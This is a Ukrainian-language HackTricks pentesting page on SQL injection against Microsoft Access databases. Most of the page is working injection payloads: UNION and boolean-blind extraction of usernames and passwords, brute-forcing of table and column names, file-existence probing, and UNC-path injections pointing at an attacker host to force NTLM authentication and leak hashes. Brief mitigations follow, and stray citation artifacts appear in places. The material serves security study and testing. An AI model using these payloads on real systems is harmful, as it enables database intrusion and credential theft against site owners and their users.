MS Access SQL Injection
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Онлайн майданчик
Обмеження БД
Конкатенація рядків
Конкатенація рядків можлива з використанням символів & (%26)
та + (%2b)
.
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
Коментарі
У MS Access немає коментарів, але, очевидно, можливо видалити останній символ запиту за допомогою NULL символу:
1' union select 1,2 from table%00
Якщо це не працює, ви завжди можете виправити синтаксис запиту:
1' UNION SELECT 1,2 FROM table WHERE ''='
Stacked Queries
Вони не підтримуються.
LIMIT
Оператор LIMIT
не реалізований. Однак, можливо обмежити результати запиту SELECT до перших N рядків таблиці, використовуючи оператор TOP
. TOP
приймає як аргумент ціле число, що представляє кількість рядків, які потрібно повернути.
1' UNION SELECT TOP 3 attr FROM table%00
Так само, як і TOP, ви можете використовувати LAST
, який отримає рядки з кінця.
UNION Запити/Підзапити
У SQLi ви зазвичай хочете якимось чином виконати новий запит, щоб витягти інформацію з інших таблиць. MS Access завжди вимагає, щоб у підзапитах або додаткових запитах був вказаний FROM
.
Отже, якщо ви хочете виконати UNION SELECT
або UNION ALL SELECT
або SELECT
в дужках у умові, вам завжди потрібно вказати FROM
з дійсною назвою таблиці.
Тому вам потрібно знати дійсну назву таблиці.
-1' UNION SELECT username,password from users%00
Chaining equals + Substring
warning
Це дозволить вам ексфільтрувати значення поточної таблиці, не знаючи назви таблиці.
MS Access дозволяє незвичний синтаксис такий як '1'=2='3'='asd'=false
. Як зазвичай, SQL-ін'єкція буде всередині WHERE
клаузи, і ми можемо це зловживати.
Уявіть, що у вас є SQLi в базі даних MS Access, і ви знаєте (або здогадалися), що одна назва стовпця - це username, і це поле, яке ви хочете ексфільтрувати. Ви могли б перевірити різні відповіді веб-додатку, коли використовується техніка зчеплення рівних, і потенційно ексфільтрувати вміст за допомогою булевої ін'єкції, використовуючи функцію Mid
для отримання підрядків.
'=(Mid(username,1,3)='adm')='
Якщо ви знаєте назву таблиці та стовпця, які потрібно вивантажити, ви можете використовувати комбінацію між Mid
, LAST
та TOP
, щоб вивести всю інформацію через булевий SQLi:
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
Не соромтеся перевірити це в онлайн-плейграунді.
Брутфорс назв таблиць
Використовуючи техніку зв'язування рівних, ви також можете брутфорсити назви таблиць з чимось на кшталт:
'=(select+top+1+'lala'+from+<table_name>)='
Ви також можете використовувати більш традиційний спосіб:
-1' AND (SELECT TOP 1 <table_name>)%00
Не соромтеся перевірити це в онлайн-плейграунді.
- Sqlmap загальні назви таблиць: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- Є ще один список на http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
Брутфорсинг назв стовпців
Ви можете брутфорсити поточні назви стовпців за допомогою трюку з ланцюговим рівнянням з:
'=column_name='
Або з group by:
-1' GROUP BY column_name%00
Або ви можете методом грубої сили отримати імена стовпців іншої таблиці за допомогою:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
Вивантаження даних
Ми вже обговорювали техніку зчеплення рівних для вивантаження даних з поточної та інших таблиць. Але є й інші способи:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
У двох словах, запит використовує оператор "if-then", щоб викликати "200 OK" у випадку успіху або "500 Internal Error" в іншому випадку. Використовуючи оператор TOP 10, можна вибрати перші десять результатів. Подальше використання LAST дозволяє врахувати лише 10-ту кортеж. На такому значенні, використовуючи оператор MID, можна виконати просте порівняння символів. Правильно змінюючи індекс MID і TOP, ми можемо вивантажити вміст поля "username" для всіх рядків.
Часові (Сліпі) Трюки
Jet/ACE SQL сам по собі не надає рідну функцію SLEEP()
або WAITFOR
, тому традиційні сліпі ін'єкції на основі часу обмежені. Однак ви все ще можете ввести вимірювальну затримку, змусивши движок отримати мережевий ресурс, який повільний або не відповідає. Оскільки движок спробує відкрити файл перед поверненням результату, час відповіді HTTP відображає затримку до хоста, контрольованого зловмисником.
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
Вкажіть UNC шлях до:
- SMB спільного доступу за посиланням з високою затримкою
- хоста, який скидає TCP рукопожаття після
SYN-ACK
- вогневої стіни-сінкхолу
Додаткові секунди, введені віддаленим запитом, можуть бути використані як вимірювальний оракул поза каналом для булевих умов (наприклад, вибрати повільний шлях лише тоді, коли інжектоване предикат є істинним). Microsoft документує поведінку віддаленої бази даних та пов'язаний реєстраційний перемикач у KB5002984. citeturn1search0
Інші цікаві функції
Mid('admin',1,1)
отримати підрядок з позиції 1 довжиною 1 (початкова позиція - 1)LEN('1234')
отримати довжину рядкаASC('A')
отримати ASCII значення символуCHR(65)
отримати рядок з ASCII значенняIIF(1=1,'a','b')
якщо тодіCOUNT(*)
Підрахувати кількість елементів
Перерахування таблиць
З тут ви можете побачити запит для отримання назв таблиць:
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
Однак зверніть увагу, що дуже типово знаходити SQL-ін'єкції, де ви не маєте доступу для читання таблиці MSysObjects
.
Доступ до файлової системи
Повний шлях до кореневої директорії веб-сайту
Знання абсолютного шляху до кореневої директорії веб-сайту може полегшити подальші атаки. Якщо помилки програми не повністю приховані, шлях до директорії може бути виявлений, намагаючись вибрати дані з неіснуючої бази даних.
http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
MS Access відповідає повідомленням про помилку, що містить повний шлях до веб-директорії.
Перерахування файлів
Наступний вектор атаки може бути використаний для виведення існування файлу на віддаленій файловій системі. Якщо вказаний файл існує, MS Access викликає повідомлення про помилку, що інформує про те, що формат бази даних є недійсним:
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
Інший спосіб перерахування файлів полягає у вказуванні елемента database.table. Якщо вказаний файл існує, MS Access відображає повідомлення про помилку формату бази даних.
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
Вгадування імені файлу .mdb
Ім'я файлу бази даних (.mdb) можна вивести за допомогою наступного запиту:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
Де name[i] є іменем файлу .mdb і realTable є існуючою таблицею в базі даних. Хоча MS Access завжди викликатиме повідомлення про помилку, можливо відрізнити недійсне ім'я файлу від дійсного імені файлу .mdb.
Доступ до віддаленої бази даних та крадіжка облікових даних NTLM (2023)
Оскільки Jet 4.0, кожен запит може посилатися на таблицю, розташовану в іншому файлі .mdb/.accdb
через клаузу IN '<path>'
:
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
Якщо введення користувача конкатенується в частині після IN (або в JOIN … IN
/ OPENROWSET
/ OPENDATASOURCE
виклику), зловмисник може вказати UNC шлях, який вказує на хост, яким він керує. Двигун буде:
- намагатися аутентифікуватися через SMB / HTTP, щоб відкрити віддалену базу даних;
- витікати NTLM облікові дані веб-сервера (примусова аутентифікація);
- аналізувати віддалений файл – неправильно сформована або шкідлива база даних може викликати помилки пам'яті Jet/ACE, які були виправлені кілька разів (наприклад, CVE-2021-28455).
Практичний приклад ін'єкції:
1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'-- -
Вплив:
- Витік Net-NTLMv2 хешів (можна використовувати для реле або офлайн злому).
- Потенційне віддалене виконання коду, якщо буде використано нову уразливість парсера Jet/ACE.
Заходи з пом'якшення (рекомендується навіть для застарілих Classic ASP додатків):
- Додайте значення реєстру
AllowQueryRemoteTables = 0
підHKLM\Software\Microsoft\Jet\4.0\Engines
(і під відповідним шляхом ACE). Це змушує Jet/ACE відхиляти віддалені шляхи, що починаються з\\
. - Блокуйте вихідний SMB/WebDAV на межі мережі.
- Очищайте / параметризуйте будь-яку частину запиту, яка може потрапити в клаузу
IN
.
Вектор примусової аутентифікації був повторно розглянутий Check Point Research у 2023 році, доводячи, що він все ще може бути використаний на повністю патчених Windows Server, коли ключ реєстру відсутній. citeturn0search0
.mdb Password Cracker
Access PassView - це безкоштовна утиліта, яка може бути використана для відновлення основного пароля бази даних Microsoft Access 95/97/2000/XP або Jet Database Engine 3.0/4.0.
Посилання
- http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
- Microsoft KB5002984 – Налаштування Jet/ACE для блокування віддалених таблиць
- Check Point Research – Зловживання пов'язаними таблицями Microsoft Access для примусової аутентифікації NTLM (2023)
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.